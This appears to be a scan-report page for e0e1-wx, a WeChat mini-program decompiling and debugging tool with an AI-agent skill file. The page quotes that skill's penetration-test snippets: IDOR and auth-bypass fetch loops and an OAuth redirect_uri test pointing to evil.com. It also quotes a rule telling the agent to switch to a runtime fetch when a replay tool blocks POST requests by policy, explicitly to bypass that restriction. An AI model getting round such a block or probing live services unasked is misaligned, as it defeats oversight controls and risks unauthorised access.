  • Network accessline 2690
    for(var id of testIds){     var r=await fetch(baseUrl.replace('/undefined','/'+id),{method:'GET',headers:headers});     var t=await r.text();
  • Network accessline 2691
    var r=await fetch(baseUrl.replace('/undefined','/'+id),{method:'GET',headers:headers});
  • Possible obfuscationline 2721
    var decode=s=>JSON.parse(atob(pad(s.replace(/-/g,'+').replace(/_/g,'/'))));
  • Network accessline 2832
    // 测试1: redirect_uri 是否严格白名单   var authUrl='<authorization_endpoint>?client_id=xxx&response_type=code'     +'&redirect_uri=https://evil.com&scope=openid&state=test123';
  • Network accessline 2833
    var authUrl='<authorization_endpoint>?client_id=xxx&response_type=code'     +'&redirect_uri=https://evil.com&scope=openid&state=test123';   var r=await fetch(authUrl,{method:'GET',redirect:'manual'});
  • Network accessline 2834
    +'&redirect_uri=https://evil.com&scope=openid&state=test123';   var r=await fetch(authUrl,{method:'GET',redirect:'manual'});   // 302 到 evil.com → 🔴 redirect_uri 未严格校验
  • Network accessline 2835
    var r=await fetch(authUrl,{method:'GET',redirect:'manual'});
  • Network accessline 2855
    for(var v of versions){     for(var res of resources){       var r=await fetch('/api/'+v+'/'+res+'/1',{
  • Network accessline 2856
    [Credential-related source omitted]
  • Network accessline 2857
    var r=await fetch('/api/'+v+'/'+res+'/1',{
  • Network accessline 2897
    var fd=new FormData();     fd.append('file',new Blob([t.body],{type:t.mime}),t.filename);     var r=await fetch(url,{method:'POST',
  • Network accessline 2898
    [Credential-related source omitted]
  • Network accessline 2899
    var r=await fetch(url,{method:'POST',
  • Network accessline 2951
    var results=[];   for(var b of bypasses){     var r=await fetch(b.path,{method:'GET'});
  • Network accessline 2952
    for(var b of bypasses){     var r=await fetch(b.path,{method:'GET'});     results.push({label:b.label,status:r.status,
  • Network accessline 2953
    var r=await fetch(b.path,{method:'GET'});
  • Network accessline 2981
    var results=[];   for(var id of ids){     var r=await fetch(url.replace('<id>',id),{
  • Network accessline 2982
    [Credential-related source omitted]
  • Network accessline 2983
    var r=await fetch(url.replace('<id>',id),{
  • Network accessline 3005
    for(var v of versions){     var prefix=v?'/api/'+v:'/api';     var r=await fetch(prefix+'/users/1',{
  • Network accessline 3006
    [Credential-related source omitted]
  • Network accessline 3007
    var r=await fetch(prefix+'/users/1',{
  • Network accessline 3017
    runtime_ops(action="runtime_eval", expression="(async ()=>{   var url='/api/<发现的存活资源>/1';   var r=await fetch(url,{method:'GET'});  // 不带 Authorization
  • Network accessline 3018
    var url='/api/<发现的存活资源>/1';   var r=await fetch(url,{method:'GET'});  // 不带 Authorization   return {status:r.status,preview:(await r.text()).slice(0,300)};
  • Network accessline 3019
    var r=await fetch(url,{method:'GET'});  // 不带 Authorization
  • Network accessline 3077
    ### 主动测试(36-39) 36. **IDOR/认证绕过不能只看静态报告**:`find_idor_candidates` 和 `analyze_auth_surface` 只给线索,必须用 `runtime_eval` + `fetch` 主动发送修改后的请求。不用等用户手动去 Burp 验证 37. **replay_ops 被阻断时换 fetch**:`replay_ops` 对 POST 默认阻断(`blocked_by_policy`),用 `runtime_
  • Network accessline 3078
    36. **IDOR/认证绕过不能只看静态报告**:`find_idor_candidates` 和 `analyze_auth_surface` 只给线索,必须用 `runtime_eval` + `fetch` 主动发送修改后的请求。不用等用户手动去 Burp 验证 37. **replay_ops 被阻断时换 fetch**:`replay_ops` 对 POST 默认阻断(`blocked_by_policy`),用 `runtime_ops(action="runt
  • Network accessline 3079
    37. **replay_ops 被阻断时换 fetch**:`replay_ops` 对 POST 默认阻断(`blocked_by_policy`),用 `runtime_ops(action="runtime_eval")` 中的 `fetch()` 直接从 webview 层发请求,绕过限制且能拿到完整响应
  • Dangerous shell operationline 3127
    | eval/Function 打包 | `eval(...)` 或 `new Function(...)` 包裹 | Hook eval/Function 拦截解包后的源码 |

main.py

  • Executable scriptline 1
    Executable file

package/__init__.py

  • Executable scriptline 1
    Executable file

package/applet_debug/__init__.py

  • Executable scriptline 1
    Executable file

package/applet_debug/runtime.py

  • Executable scriptline 1
    Executable file

package/applet_debug/state.py

  • Executable scriptline 1
    Executable file

package/applet_detail/__init__.py

  • Executable scriptline 1
    Executable file

package/applet_detail/cloud_page.py

  • Executable scriptline 1
    Executable file

package/applet_detail/constants.py

  • Executable scriptline 1
    Executable file

package/applet_detail/debug_page.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_cache.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_content.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_events.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_matches.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_page.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_processing.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_search.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_search_events.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_search_state.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_support.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_task_state.py

  • Executable scriptline 1
    Executable file

package/applet_detail/decompile_tree.py

  • Executable scriptline 1
    Executable file

package/applet_detail/devtools_page.py

  • Executable scriptline 1
    Executable file

package/applet_detail/logs_page.py

  • Executable scriptline 1
    Executable file

package/applet_detail/pages.py

  • Executable scriptline 1
    Executable file

package/applet_detail/preview_jump.py

  • Executable scriptline 1
    Executable file

package/applet_detail/reconnect_hint.py

  • Executable scriptline 1
    Executable file

package/applet_detail/widgets.py

  • Executable scriptline 1
    Executable file

package/applet_logs/__init__.py

  • Executable scriptline 1
    Executable file

package/applet_logs/models.py

  • Executable scriptline 1
    Executable file

package/applet_processing/__init__.py

  • Executable scriptline 1
    Executable file

package/applet_processing/manager.py

  • Executable scriptline 1
    Executable file

package/applet_routes/__init__.py

  • Executable scriptline 1
    Executable file

package/applet_routes/action_policy.py

  • Executable scriptline 1
    Executable file

package/applet_routes/bridge.py

  • Executable scriptline 1
    Executable file

package/applet_routes/nav_inject.js

  • Executable scriptline 1
    Executable file

package/applet_routes/navigator.py

  • Executable scriptline 1
    Executable file

package/applet_routes/page.py

  • Executable scriptline 1
    Executable file

package/applet_routes/search.py

  • Executable scriptline 1
    Executable file

package/applet_routes/service.py

  • Executable scriptline 1
    Executable file

package/applet_routes/state.py

  • Executable scriptline 1
    Executable file

package/applet_routes/worker.py

  • Executable scriptline 1
    Executable file

package/cleanup/__init__.py

  • Executable scriptline 1
    Executable file

package/cleanup/models.py

  • Executable scriptline 1
    Executable file

package/cleanup/service.py

  • Executable scriptline 1
    Executable file

package/cleanup/worker.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/__init__.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/cache.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/history.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/inject.js

  • Executable scriptline 1
    Executable file

package/cloud_audit/models.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/runner.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/runtime.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/scanner.py

  • Executable scriptline 1
    Executable file

package/cloud_audit/worker.py

  • Executable scriptline 1
    Executable file

package/code_optimizer/__init__.py

  • Executable scriptline 1
    Executable file

package/code_optimizer/formatter.py

  • Executable scriptline 1
    Executable file

package/config/__init__.py

  • Executable scriptline 1
    Executable file

package/config/defaults.py

  • Executable scriptline 1
    Executable file

package/content_scanner/__init__.py

  • Executable scriptline 1
    Executable file

package/content_scanner/regex_scanner.py

  • Executable scriptline 1
    Executable file

package/crypto/__init__.py

  • Executable scriptline 1
    Executable file

package/crypto/core.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 44
    base64.b64decode(value, validate=True)
  • Possible obfuscationline 68
    aes_iv = base64.b64decode(iv_b64)
  • Possible obfuscationline 69
    aes_key = base64.b64decode(key_b64)
  • Possible obfuscationline 95
    aes_iv = base64.b64decode(iv_b64)
  • Possible obfuscationline 96
    aes_cipher = base64.b64decode(data_b64)
  • Possible obfuscationline 97
    aes_key = base64.b64decode(key_b64)

package/crypto/service.py

  • Executable scriptline 1
    Executable file

package/decompiler/__init__.py

  • Executable scriptline 1
    Executable file

package/decompiler/auto_cache.py

  • Executable scriptline 1
    Executable file

package/decompiler/cache_keys.py

  • Executable scriptline 1
    Executable file

package/decompiler/constants.py

  • Executable scriptline 1
    Executable file

package/decompiler/core.py

  • Executable scriptline 1
    Executable file

package/decompiler/file_browser.py

  • Executable scriptline 1
    Executable file

package/decompiler/folder_names.py

  • Executable scriptline 1
    Executable file

package/decompiler/process_pool.py

  • Executable scriptline 1
    Executable file

package/decompiler/runner.py

  • Executable scriptline 1
    Executable file

package/decompiler/service.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker_auto.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker_decompile.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker_files.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker_jump_identifiers.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker_matches.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker_optimize.py

  • Executable scriptline 1
    Executable file

package/decompiler/worker_search.py

  • Executable scriptline 1
    Executable file

package/devtools/__init__.py

  • Executable scriptline 1
    Executable file

package/devtools/bridge.py

  • Executable scriptline 1
    Executable file

package/devtools/connection_stability.py

  • Executable scriptline 1
    Executable file

package/devtools/constants.py

  • Executable scriptline 1
    Executable file

package/devtools/engine.py

  • Executable scriptline 1
    Executable file

package/devtools/identity.py

  • Executable scriptline 1
    Executable file

package/devtools/js_injection_recovery.py

  • Executable scriptline 1
    Executable file

package/devtools/protocol_codec.py

  • Executable scriptline 1
    Executable file

package/devtools/protocol_constants.py

  • Executable scriptline 1
    Executable file

package/devtools/protocol_userscript.py

  • Executable scriptline 1
    Executable file

package/devtools/service.py

  • Executable scriptline 1
    Executable file

package/devtools/state.py

  • Executable scriptline 1
    Executable file

package/devtools/third_party/__init__.py

  • Executable scriptline 1
    Executable file

package/devtools/third_party/wmpf_debug_pb2.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 27
    DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x10wmpf_debug.proto\x12\x11mmbizwxadevremote\"C\n\x18WARemoteDebug_DataFormat\x12\x0b\n\x03\x63md\x18\x01 \x01(\r\x12\x0c\n\x04uuid\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x

package/devtools/worker.py

  • Executable scriptline 1
    Executable file
  • Network accessline 65
    for port in range(int(start), CDP_PORT_END + 1):         with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:
  • Network accessline 66
    with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:

package/js_injection/__init__.py

  • Executable scriptline 1
    Executable file

package/js_injection/catalog.py

  • Executable scriptline 1
    Executable file

package/js_injection/mode_overrides.py

  • Executable scriptline 1
    Executable file

package/js_injection/models.py

  • Executable scriptline 1
    Executable file

package/js_injection/paths.py

  • Executable scriptline 1
    Executable file

package/js_injection/runtime.py

  • Executable scriptline 1
    Executable file

package/js_injection/runtime_toggle.py

  • Executable scriptline 1
    Executable file

package/js_injection/service.py

  • Executable scriptline 1
    Executable file

package/js_injection/widgets.py

  • Executable scriptline 1
    Executable file

package/js_injection/worker.py

  • Executable scriptline 1
    Executable file

package/mcp_control/__init__.py

  • Executable scriptline 1
    Executable file

package/mcp_control/cdp_client.py

  • Executable scriptline 1
    Executable file

package/mcp_control/config.py

  • Executable scriptline 1
    Executable file
  • Network accessline 37
    [Credential-related source omitted]
  • Network accessline 39
    return f"http://{DEFAULT_MCP_HOST}:{int(self.port)}/mcp?{query}"

package/mcp_control/crypto_helpers.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 42
    raw = base64.b64decode(text + "=" * (-len(text) % 4))
  • Possible obfuscationline 57
    return base64.b64decode(value + "=" * (-len(value) % 4))
  • Possible obfuscationline 92
    ciphertext = base64.b64decode(value + "=" * (-len(value) % 4))
  • Possible obfuscationline 134
    raw = base64.b64decode(value + "=" * (-len(value) % 4))

package/mcp_control/http_entry.py

  • Executable scriptline 1
    Executable file

package/mcp_control/local_app.py

  • Executable scriptline 1
    Executable file

package/mcp_control/runtime_session.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 658
    const init={json.dumps(init, ensure_ascii=False)};   try {{     const resp=await fetch(url, init);
  • Network accessline 659
    try {{     const resp=await fetch(url, init);     const text=await resp.clone().text();
  • Network accessline 660
    const resp=await fetch(url, init);
  • Possible obfuscationline 727
    const binary=atob(padded);
  • Network accessline 743
    }}   try {{     const resp=await fetch(url, {{method, headers, body:fd}});
  • Network accessline 744
    try {{     const resp=await fetch(url, {{method, headers, body:fd}});     const text=await resp.clone().text();
  • Network accessline 745
    const resp=await fetch(url, {{method, headers, body:fd}});
  • Network accessline 815
    """合并 CDP 缓存和 Hook 记录,返回统一请求列表。"""         hooked = await self.get_hooked_requests()         merged: dict[str, JsonDict] = {key: self.normalize_request(value) for key, value in self.requests.items()}
  • Network accessline 816
    hooked = await self.get_hooked_requests()         merged: dict[str, JsonDict] = {key: self.normalize_request(value) for key, value in self.requests.items()}         for item in hooked:
  • Network accessline 817
    merged: dict[str, JsonDict] = {key: self.normalize_request(value) for key, value in self.requests.items()}
  • Network accessline 864
    if not request_id:             return         record = self.requests.setdefault(request_id, {"requestId": request_id, "source": "cdp"})
  • Network accessline 865
    return         record = self.requests.setdefault(request_id, {"requestId": request_id, "source": "cdp"})         if request_id not in self.request_order:
  • Network accessline 866
    record = self.requests.setdefault(request_id, {"requestId": request_id, "source": "cdp"})

package/mcp_control/service.py

  • Executable scriptline 1
    Executable file

package/mcp_control/token_middleware.py

  • Executable scriptline 1
    Executable file

package/mcp_control/worker.py

  • Executable scriptline 1
    Executable file

package/miniapp_jump/__init__.py

  • Executable scriptline 1
    Executable file

package/miniapp_jump/identifiers.py

  • Executable scriptline 1
    Executable file

package/miniapp_jump/jump_inject.js

  • Executable scriptline 1
    Executable file

package/miniapp_jump/navigator.py

  • Executable scriptline 1
    Executable file

package/miniapp_jump/page.py

  • Executable scriptline 1
    Executable file

package/miniapp_jump/record_context.py

  • Executable scriptline 1
    Executable file

package/miniapp_jump/state.py

  • Executable scriptline 1
    Executable file

package/monitor/__init__.py

  • Executable scriptline 1
    Executable file

package/monitor/constants.py

  • Executable scriptline 1
    Executable file

package/monitor/controller.py

  • Executable scriptline 1
    Executable file

package/monitor/paths.py

  • Executable scriptline 1
    Executable file

package/monitor/service.py

  • Executable scriptline 1
    Executable file

package/monitor/utils.py

  • Executable scriptline 1
    Executable file

package/monitor/windows.py

  • Executable scriptline 1
    Executable file

package/monitor/worker.py

  • Executable scriptline 1
    Executable file

package/monitor/worker_cleanup.py

  • Executable scriptline 1
    Executable file

package/monitor/worker_commands.py

  • Executable scriptline 1
    Executable file

package/monitor/worker_database.py

  • Executable scriptline 1
    Executable file

package/monitor/worker_files.py

  • Executable scriptline 1
    Executable file

package/monitor/worker_identity.py

  • Executable scriptline 1
    Executable file

package/monitor/worker_scan.py

  • Executable scriptline 1
    Executable file

package/regex_rules/__init__.py

  • Executable scriptline 1
    Executable file

package/regex_rules/presets.py

  • Executable scriptline 1
    Executable file
  • Network accessline 176
    [Credential-related source omitted]
  • Network accessline 177
    [Credential-related source omitted]
  • Network accessline 178
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]

package/runtime/__init__.py

  • Executable scriptline 1
    Executable file

package/runtime/async_app.py

  • Executable scriptline 1
    Executable file

package/runtime/high_dpi.py

  • Executable scriptline 1
    Executable file

package/runtime/models.py

  • Executable scriptline 1
    Executable file

package/runtime/process_bootstrap.py

  • Executable scriptline 1
    Executable file

package/runtime/shutdown.py

  • Executable scriptline 1
    Executable file

package/runtime/task_bus.py

  • Executable scriptline 1
    Executable file

package/runtime/task_supervisor.py

  • Executable scriptline 1
    Executable file

package/runtime/ui_metrics.py

  • Executable scriptline 1
    Executable file

package/storage/__init__.py

  • Executable scriptline 1
    Executable file

package/storage/state_store.py

  • Executable scriptline 1
    Executable file

package/ui/__init__.py

  • Executable scriptline 1
    Executable file

package/ui/cards/__init__.py

  • Executable scriptline 1
    Executable file

package/ui/cards/batch_delete.py

  • Executable scriptline 1
    Executable file

package/ui/cards/card_widget.py

  • Executable scriptline 1
    Executable file

package/ui/cards/grid_controller.py

  • Executable scriptline 1
    Executable file

package/ui/cards/presenter.py

  • Executable scriptline 1
    Executable file

package/ui/cards/store.py

  • Executable scriptline 1
    Executable file

package/ui/config_dialog.py

  • Executable scriptline 1
    Executable file

package/ui/confirm_dialog.py

  • Executable scriptline 1
    Executable file

package/ui/constants.py

  • Executable scriptline 1
    Executable file

package/ui/crypto_dialog.py

  • Executable scriptline 1
    Executable file

package/ui/main_window.py

  • Executable scriptline 1
    Executable file
  • Network accessline 76
    self.setWindowTitle("微信小程序自动化监控")         self.title_bar.set_subtitle("e0e1-wx-gui 1.4  https://github.com/eeeeeeeeee-code/e0e1-wx")
  • Network accessline 77
    self.title_bar.set_subtitle("e0e1-wx-gui 1.4  https://github.com/eeeeeeeeee-code/e0e1-wx")

package/ui/main_window_controls.py

  • Executable scriptline 1
    Executable file

package/ui/main_window_monitor.py

  • Executable scriptline 1
    Executable file

package/ui/mcp_dialog.py

  • Executable scriptline 1
    Executable file

package/ui/paths.py

  • Executable scriptline 1
    Executable file

package/ui/record_text.py

  • Executable scriptline 1
    Executable file

package/ui/rules_dialog.py

  • Executable scriptline 1
    Executable file

package/ui/styles.py

  • Executable scriptline 1
    Executable file

package/ui/widgets.py

  • Executable scriptline 1
    Executable file

package/ui/window_chrome.py

  • Executable scriptline 1
    Executable file

tools.md

  • Network accessline 36
    ![运行环境版本示意](https://cdn.nlark.com/yuque/0/2026/png/36087401/1777875799638-6b5855b1-4537-498d-ad4c-ee157d881ca0.png)
  • Network accessline 50
    - [evi0s/WMPFDebugger - frida/config](https://github.com/evi0s/WMPFDebugger/tree/main/frida/config)
  • Network accessline 60
    - [eeeeeeeeee-code/wx-hook releases](https://github.com/eeeeeeeeee-code/wx-hook/releases)
  • Network accessline 74
    ![应用配置](https://cdn.nlark.com/yuque/0/2026/png/36087401/1777874359415-5e903826-7b85-4f3b-891f-b12b2ae503c2.png)
  • Network accessline 82
    ![Proxifier 规则示意](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778036618837-77208700-5758-454e-b79d-6b6d47800744.png)
  • Network accessline 106
    <img width="1397" height="735" alt="image" src="https://github.com/user-attachments/assets/5e122f81-be72-4a37-bac2-4f4c900934a1" />
  • Network accessline 110
    <img width="1215" height="825" alt="image" src="https://github.com/user-attachments/assets/cd5f5816-de0c-4f3e-b9a1-0e18c371083d" />
  • Network accessline 114
    <img width="702" height="120" alt="image" src="https://github.com/user-attachments/assets/4be6c59f-06fd-42c8-b016-2e95e68b799d" />
  • Network accessline 121
    ![监控功能](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042050587-557a9cee-b4ae-465f-970f-64a7fcdbee5a.png)
  • Network accessline 130
    ![反编译入口](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042079572-ee951825-078b-4806-b5e8-cc5f61d13a67.png)
  • Network accessline 134
    ![反编译结果](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042135093-df1312b4-d519-40ad-913f-f3dcb3f942ce.png)
  • Network accessline 143
    ![文件内搜索](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042163999-c62ed666-7449-4744-a9e7-ed78905ea1b7.png)
  • Network accessline 145
    ![自动正则匹配](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042318591-5ef49b44-7810-4b29-ba63-dd2acdf8cff4.png)
  • Network accessline 147
    ![匹配结果跳转](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042331278-c41bf437-d688-4647-adee-eb12a10a94da.png)
  • Network accessline 149
    ![全局搜索](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042355645-3c4e524e-c1f7-4527-b767-b9da37f8dccf.png)
  • Network accessline 155
    ![DevTools CDP 入口](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042401047-cd150971-d2b5-42bc-9f76-52a69b4e5200.png)
  • Network accessline 164
    ![调试链接](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042435660-fd9016c0-f02f-4d8a-b33c-0054fe4d9b98.png)
  • Network accessline 166
    ![浏览器调试页面](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042480467-570bdaf6-5e24-4b9d-977b-782b347ebfd4.png)
  • Network accessline 172
    ![路由功能](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042504187-6ab6cbf2-6ae1-4976-9af6-62da7a872201.png)
  • Network accessline 178
    ![云函数列表](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042575000-13a5bb1b-7518-47e7-8baa-84166d8b08b7.png)
  • Network accessline 180
    ![云函数调用](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042618570-c5a3e034-8b3a-46dd-97b5-aa8e74595ca8.png)
  • Network accessline 191
    ![调试开关入口](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042648322-ac40961d-25ae-4d71-b908-39ed03681549.png)
  • Network accessline 193
    ![重新打开小程序](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042714186-59211d1a-6483-45d1-8fe1-a12348f76882.png)
  • Network accessline 195
    ![vConsole 效果](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042734946-02265971-e7b9-4f28-a77a-8d9d2b97b41e.png)
  • Network accessline 202
    ![关闭方式一](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042755922-61637b77-04ea-43ba-9c27-dfdfea799568.png)
  • Network accessline 204
    ![关闭方式二](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042773960-cf090119-a83d-4483-b049-3a06bd95190d.png)
  • Network accessline 210
    ![反编译标识示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230245581-c738fff2-ac02-4ed9-841b-1facdf45352f.png)
  • Network accessline 214
    ![两种利用方式示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230392877-42c272fc-a555-409a-b19c-76aba46bbd63.png)
  • Network accessline 220
    ![立即跳转提示](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230557766-c935ef1c-43b9-4037-8955-77ce1a57cf17.png)
  • Network accessline 224
    ![功能点跳转示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230663770-ee730a28-63cc-46c0-8f82-7e2d766c325d.png)
  • Network accessline 230
    ![带 path 跳转示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230736104-e20a4ee9-71f4-4380-a1ed-1c8b2baf506c.png)

tools/hook.js

  • Executable scriptline 1
    Executable file

tools/js/block_popups_runtime.js

  • Executable scriptline 1
    Executable file

tools/js/test_injection.js

  • Executable scriptline 1
    Executable file

tools/js/wx_environment_probe.js

  • Executable scriptline 1
    Executable file

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Declared and executed: 1 fact
Signal confidence: 333 facts
  • Network access in prose of documentationREADME.md:3Low confidence
  • Network access in prose of documentationREADME.md:4Low confidence
  • Network access in prose of documentationREADME.md:5Low confidence
  • Network access in prose of documentationREADME.md:64Low confidence
  • Network access in prose of documentationREADME.md:65Low confidence
  • Network access in prose of documentationREADME.md:66Low confidence
  • Network access in prose of documentationREADME.md:67Low confidence
  • Network access in prose of documentationREADME.md:68Low confidence
  • Network access in prose of documentationREADME.md:69Low confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:299Low confidence
  • Network access in code of the SKILL.mdSKILL.md:306High confidence
  • Network access in code of the SKILL.mdSKILL.md:307High confidence
  • Network access in code of the SKILL.mdSKILL.md:308High confidence
  • Network access in code of the SKILL.mdSKILL.md:516High confidence
  • Network access in code of the SKILL.mdSKILL.md:517High confidence
  • Network access in code of the SKILL.mdSKILL.md:518High confidence
  • Network access in code of the SKILL.mdSKILL.md:521High confidence
  • Network access in code of the SKILL.mdSKILL.md:522High confidence
  • Network access in code of the SKILL.mdSKILL.md:525High confidence
  • Network access in code of the SKILL.mdSKILL.md:526High confidence
  • Network access in code of the SKILL.mdSKILL.md:529High confidence
  • Network access in code of the SKILL.mdSKILL.md:530High confidence
  • Network access in code of the SKILL.mdSKILL.md:587High confidence
  • Network access in code of the SKILL.mdSKILL.md:588High confidence
  • Network access in code of the SKILL.mdSKILL.md:589High confidence
  • Network access in code of the SKILL.mdSKILL.md:638High confidence
  • Network access in code of the SKILL.mdSKILL.md:639High confidence
  • Network access in code of the SKILL.mdSKILL.md:644High confidence
  • Network access in code of the SKILL.mdSKILL.md:645High confidence
  • Network access in code of the SKILL.mdSKILL.md:646High confidence
  • Network access in code of the SKILL.mdSKILL.md:1231High confidence
  • Network access in code of the SKILL.mdSKILL.md:1232High confidence
  • Network access in code of the SKILL.mdSKILL.md:1233High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:1301High confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:1303Low confidence
  • Network access in code of the SKILL.mdSKILL.md:1452High confidence
  • Network access in code of the SKILL.mdSKILL.md:1453High confidence
  • Network access in code of the SKILL.mdSKILL.md:1454High confidence
  • Network access in code of the SKILL.mdSKILL.md:1480High confidence
  • Network access in code of the SKILL.mdSKILL.md:1481High confidence
  • Network access in code of the SKILL.mdSKILL.md:1482High confidence
  • Network access in code of the SKILL.mdSKILL.md:1499High confidence
  • Network access in code of the SKILL.mdSKILL.md:1500High confidence
  • Network access in code of the SKILL.mdSKILL.md:1501High confidence
  • Network access in code of the SKILL.mdSKILL.md:1503High confidence
  • Network access in code of the SKILL.mdSKILL.md:1504High confidence
  • Network access in code of the SKILL.mdSKILL.md:1505High confidence
  • Network access in code of the SKILL.mdSKILL.md:1541High confidence
  • Network access in code of the SKILL.mdSKILL.md:1542High confidence
  • Network access in code of the SKILL.mdSKILL.md:1543High confidence

and 283 more

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md SKILL.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

eeeeeeeeee-code/e0e1-wx: #500 on hotskills, 2.3k stars

[![eeeeeeeeee-code/e0e1-wx on hotskills](https://hotskills.dev/badge/eeeeeeeeee-code-e0e1-wx.svg)](https://hotskills.dev/skill/eeeeeeeeee-code-e0e1-wx/)